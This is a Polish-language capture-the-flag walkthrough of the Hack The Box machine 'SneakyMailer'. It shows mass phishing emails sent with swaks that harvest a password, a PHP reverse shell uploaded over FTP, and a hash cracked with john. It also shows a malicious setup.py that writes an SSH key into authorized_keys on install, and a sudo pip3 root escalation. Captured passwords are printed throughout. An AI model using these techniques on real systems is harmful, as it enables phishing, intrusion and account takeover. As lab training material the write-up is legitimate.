SneakyMailer

Nmap

nmap -sC -sV -T5 -p- 10.10.10.197

PORT     STATE SERVICE    REASON         VERSION
21/tcp   open  ftp        syn-ack ttl 63 vsftpd 3.0.3
22/tcp   open  ssh        syn-ack ttl 63 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 57:c9:00:35:36:56:e6:6f:f6:de:86:40:b2:ee:3e:fd (RSA)
|   256 d8:21:23:28:1d:b8:30:46:e2:67:2d:59:65:f0:0a:05 (ECDSA)
|_  256 5e:4f:23:4e:d4:90:8e:e9:5e:89:74:b3:19:0c:fc:1a (ED25519)
25/tcp   open  smtp       syn-ack ttl 63 Postfix smtpd
|_smtp-commands: debian, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING, 
80/tcp   open  http       syn-ack ttl 63 nginx 1.14.2
|_http-server-header: nginx/1.14.2
143/tcp  open  imap       syn-ack ttl 63 Courier Imapd (released 2018)
|_imap-capabilities: UTF8=ACCEPTA0001 ACL IDLE IMAP4rev1 NAMESPACE completed THREAD=REFERENCES QUOTA STARTTLS CAPABILITY UIDPLUS ACL2=UNION OK SORT CHILDREN ENABLE THREAD=ORDEREDSUBJECT
993/tcp  open  ssl/imaps? syn-ack ttl 63
|_ssl-date: TLS randomness does not represent time
8080/tcp open  http       syn-ack ttl 63 nginx 1.14.2
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: nginx/1.14.2
|_http-title: Welcome to nginx!
Service Info: Host:  debian; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

User

Strona internetowa odrazu przekierowuje nas na “sneakycorp.htb” trzeba dodać ten wpis do /etc/hosts
Na stronie widać dużo danych użytkowników. Trzeba zrobić listy userów i e-maili, ponieważ nazwa boxa i otwarte porty wskazują na to, że może mieć to związek z mailami.

tigernixon@sneakymailer.htb
garrettwinters@sneakymailer.htb
ashtoncox@sneakymailer.htb
cedrickelly@sneakymailer.htb
airisatou@sneakymailer.htb
briellewilliamson@sneakymailer.htb
herrodchandler@sneakymailer.htb
rhonadavidson@sneakymailer.htb
colleenhurst@sneakymailer.htb
sonyafrost@sneakymailer.htb
jenagaines@sneakymailer.htb
quinnflynn@sneakymailer.htb
chardemarshall@sneakymailer.htb
haleykennedy@sneakymailer.htb
tatyanafitzpatrick@sneakymailer.htb
michaelsilva@sneakymailer.htb
paulbyrd@sneakymailer.htb
glorialittle@sneakymailer.htb
bradleygreer@sneakymailer.htb
dairios@sneakymailer.htb
jenettecaldwell@sneakymailer.htb
yuriberry@sneakymailer.htb
caesarvance@sneakymailer.htb
doriswilder@sneakymailer.htb
angelicaramos@sneakymailer.htb
gavinjoyce@sneakymailer.htb
jenniferchang@sneakymailer.htb
brendenwagner@sneakymailer.htb
fionagreen@sneakymailer.htb
shouitou@sneakymailer.htb
michellehouse@sneakymailer.htb
sukiburks@sneakymailer.htb
prescottbartlett@sneakymailer.htb
gavincortez@sneakymailer.htb
martenamccray@sneakymailer.htb
unitybutler@sneakymailer.htb
howardhatfield@sneakymailer.htb
hopefuentes@sneakymailer.htb
vivianharrell@sneakymailer.htb
timothymooney@sneakymailer.htb
jacksonbradshaw@sneakymailer.htb
olivialiang@sneakymailer.htb
brunonash@sneakymailer.htb
sakurayamamoto@sneakymailer.htb
thorwalton@sneakymailer.htb
finncamacho@sneakymailer.htb
sergebaldwin@sneakymailer.htb
zenaidafrank@sneakymailer.htb
zoritaserrano@sneakymailer.htb
jenniferacosta@sneakymailer.htb
carastevens@sneakymailer.htb
hermionebutler@sneakymailer.htb
laelgreer@sneakymailer.htb
jonasalexander@sneakymailer.htb
shaddecker@sneakymailer.htb
sulcud@sneakymailer.htb
donnasnider@sneakymailer.htb

Dalsza enumeracja kieruje nas na wersję developerską serwera

wfuzz --hw 69 --hc 404,301 -c -z file,/usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt  -u http://sneakycorp.htb -H "Host: FUZZ.sneakycorp.htb"

********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer                         *
********************************************************

Target: http://sneakycorp.htb/
Total requests: 19983

===================================================================
ID           Response   Lines    Word     Chars       Payload                                                                                                                                                                    
===================================================================

000000019:   200        340 L    989 W    13737 Ch    "dev"  


http://dev.sneakycorp.htb  <-- dodajemy do /etc/hosts

Na stronie mamy formularz rejestracji w lokalizacji “/pypi/” co jest też ciekawe.
Natomiast poza tym nic ciekawego dlatego przechodzę do prób wysyłania wiadomości. narzędziem “swaks” … puste przesyłanie nic nie daje, trzeba w ciele wiadomości przesłać adres zwrotny do którego ma się server odezwać, a u siebie wystawić netcata.

while read maile; do swaks --to $maile --from bax@sneakymailer.htb --body "http://10.10.14.120/" --server 10.10.10.197; done < emails.txt


=== Trying 10.10.10.197:25...
=== Connected to 10.10.10.197.
<-  220 debian ESMTP Postfix (Debian/GNU)
 -> EHLO test
<-  250-debian
<-  250-PIPELINING
<-  250-SIZE 10240000
<-  250-VRFY
<-  250-ETRN
<-  250-STARTTLS
<-  250-ENHANCEDSTATUSCODES
<-  250-8BITMIME
<-  250-DSN
<-  250-SMTPUTF8
<-  250 CHUNKING
 -> MAIL FROM:<bax@sneakymailer.htb>
<-  250 2.1.0 Ok
 -> RCPT TO:<paulbyrd@sneakymailer.htb>
<-  250 2.1.5 Ok
 -> DATA
<-  354 End data with <CR><LF>.<CR><LF>
 -> Date: Fri, 17 Jul 2020 11:43:43 +0100
 -> To: paulbyrd@sneakymailer.htb
 -> From: bax@sneakymailer.htb
 -> Subject: test Fri, 17 Jul 2020 11:43:43 +0100
 -> Message-Id: <20200717114343.014357@test>
 -> X-Mailer: swaks v20190914.0 jetmore.org/john/code/swaks/
 -> 
 -> http://10.10.14.120/
 -> 
 -> 
 -> .
<-  250 2.0.0 Ok: queued as F070624684
 -> QUIT
<-  221 2.0.0 Bye
=== Connection closed with remote host.
listening on [any] 80 ...
connect to [10.10.20.9] from (UNKNOWN) [10.10.10.197] 49184
POST / HTTP/1.1
Host: 10.10.20.9
User-Agent: python-requests/2.23.0
Accept-Encoding:gzip, deflateAccept: */*
Connection: keep-alive
Content-Length: 185
Content-Type: application/x-www-form-urlencoded

firstName=Paul&lastName=Byrd&email=paulbyrd%40sneakymailer.htb&password=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt&rpassword=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt
URL Decode:

firstName=Paul&lastName=Byrd&email=paulbyrd@sneakymailer.htb&password=^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht&rpassword=^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht

Jeżeli nie dostajesz odpowiedzi to znaczy, że ktoś dodał te konto do aplikacji obsługującej emaile i przechwytuje przed automatem z boxa. Najlepiej zresetować maszynę.

Na skrzynce są wiadomości wysłane :

Hello low

Your current task is to install, test and then erase every python module you 
find in our PyPI service, let me know if you have any inconvenience.
Hello administrator, I want to change this password for the developer account
 
Username: developer
Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C
 
Please notify me when you do it

Dane pasują do serwera ftp.
Na serwerze widzimy że mamy folder strony “dev”.
możemy wrzucać tam pliki więc wrzucamy reverse-shell.php komendą put
Mamy użytkownika www-data.
Następnie zmieniamy użytkownika na developer

su developer
m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C

python -c 'import pty; pty.spawn("/bin/bash")'

W folderze “/var/www” są trzy katalogi ze stronami i okazuje się że jest jeszcze jeden VirtualHost “pypi.sneakycorp.htb”
żeby to potwierdzić sprawdzamy jeszcze:

ls /etc/nginx/sites-available
default  pypi.sneakycorp.htb  sneakycorp.htb

cat /etc/nginx/sites-available/pypi.sneakycorp.htb
server {
	listen 0.0.0.0:8080 default_server;
	listen [::]:8080 default_server;
	server_name _;
}


server {
	listen 0.0.0.0:8080;
	listen [::]:8080;

	server_name pypi.sneakycorp.htb;

	location / {
		proxy_pass http://127.0.0.1:5000;
		proxy_set_header Host $host;
		proxy_set_header X-Real-IP $remote_addr;
	}
}
cat /etc/hosts

127.0.0.1	localhost pypi.sneakycorp.htb
127.0.0.1	sneakycorp.htb
127.0.1.1	debian

Znajduję hash do złamania

developer@sneakymailer:/var/www/pypi.sneakycorp.htb$ cat .htpasswd

pypi:$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/
john --wordlist=/usr/share/wordlists/rockyou.txt pypi.hash

soufianeelhaoui  (pypi)

z tym hasłem można tworzyć paczki i wrzucać je na serwer.
Przydadzą się dwa artykuły

[distutils]
index-servers =
    mypypi

[mypypi]
repository=http://pypi.sneakycorp.htb:8080/
username=pypi
password=soufianeelhaoui
import setuptools

try:
    with open("/home/low/.ssh/authorized_keys", "a") as f:
        f.write("klucz ssh")
        f.close()

except Exception as e:
    pass

setuptools.setup(
    name="bax", # Replace with your own username
    version="0.0.1",
    author="Example Author",
    author_email="author@example.com",
    description="A small example package",
    long_description="",
    long_description_content_type="text/markdown",
    url="https://github.com/pypa/sampleproject",
    packages=setuptools.find_packages(),
    classifiers=[
        "Programming Language :: Python :: 3",
        "License :: OSI Approved :: MIT License",
        "Operating System :: OS Independent",
    ],
)

po stworzeniu powyższych plików wykonujemy komendy

python3 setup.py sdist register -r mypypi upload -r mypypi
python3 -m twine upload --repository mypypi dist/*

upewniamy się czy nasza paczka jest na serwerze
http://pypi.sneakycorp.htb:8080/packages/
jeżeli jest to możemy się zalogować po ssh

ssh -i ~/.ssh/id_rsa low@10.10.10.197 
low@sneakymailer:~$ cat user.txt
bc0ef58c****250a732335ac67

Root

low@sneakymailer:~$ sudo -l
sudo: unable to resolve host sneakymailer: Temporary failure in name resolution
Matching Defaults entries for low on sneakymailer:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User low may run the following commands on sneakymailer:
    (root) NOPASSWD: /usr/bin/pip3

z pomocą przychodzą nam GTFO.bins

tworzymy plik, dajemy uprawnienia i uruchamiamy. Chwilkę to trwa.

nano expl.sh

TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip3 install $TF
chmod +x expl.sh 
./expl.sh 

sudo: unable to resolve host sneakymailer: Temporary failure in name resolution
Processing /tmp/tmp.oUOGJLgGFU
# id
uid=0(root) gid=0(root) groups=0(root)
# cat root.txt
2d5d9c274139****7d390526a960

Leave a Comment